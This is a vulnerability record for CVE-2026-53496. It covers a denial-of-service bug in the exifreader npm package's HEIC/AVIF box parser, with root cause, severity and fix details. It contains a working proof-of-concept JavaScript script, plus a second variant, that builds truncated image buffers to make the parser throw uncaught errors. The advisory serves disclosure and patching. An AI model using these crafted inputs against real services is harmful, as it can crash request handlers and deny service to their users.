{"id":"CVE-2026-53496","aliases":["GHSA-g77h-45rf-hcx4"],"url":"https://o3.security/vulnerability/CVE-2026-53496","summary":"ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes","details":"## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 <= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require('./dist/exif-reader.js');\n\nfunction u32be(n) {\n  return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];\n}\nfunction ascii(s) {\n  return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content = []) {\n  return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of ['heic', 'avif']) {\n  for (const badBox of ['free', 'abcd']) {\n    const bytes = Uint8Array.from([\n      ...box('ftyp', ascii(brand)),\n      ...box(badBox), // 8-byte box header with no content\n    ]);\n\n    try {\n      ExifReader.load(bytes.buffer);\n      console.log(`${brand}/${badBox}: no throw`);\n    } catch (e) {\n      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n      console.log(String(e.stack).split('\\n').slice(0, 6).join('\\n'));\n    }\n  }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n    at DataView.prototype.getUint8 (<anonymous>)\n    at parseBox (.../dist/exif-reader.js:1:16513)\n    at findMetaBox (.../dist/exif-reader.js:1:19032)\n    at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii('free')];\nconst heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.","published":"2026-09-14T16:12:43.777Z","modified":"2026-10-21T02:58:29.029294558Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":{"score":0.00451,"percentile":0.38396,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"exifreader","fixedVersion":"4.40.1"}],"fix":{"url":"https://github.com/mattiasw/ExifReader/commit/00878ca9df0e26480dda7a931c888048c9f7be45","label":"mattiasw/ExifReader@00878ca"},"references":[{"type":"WEB","url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53496.json"},{"type":"ADVISORY","url":"https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53496"},{"type":"FIX","url":"https://github.com/mattiasw/ExifReader/commit/00878ca9df0e26480dda7a931c888048c9f7be45"},{"type":"PACKAGE","url":"https://github.com/mattiasw/ExifReader"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:29.029294558Z"}}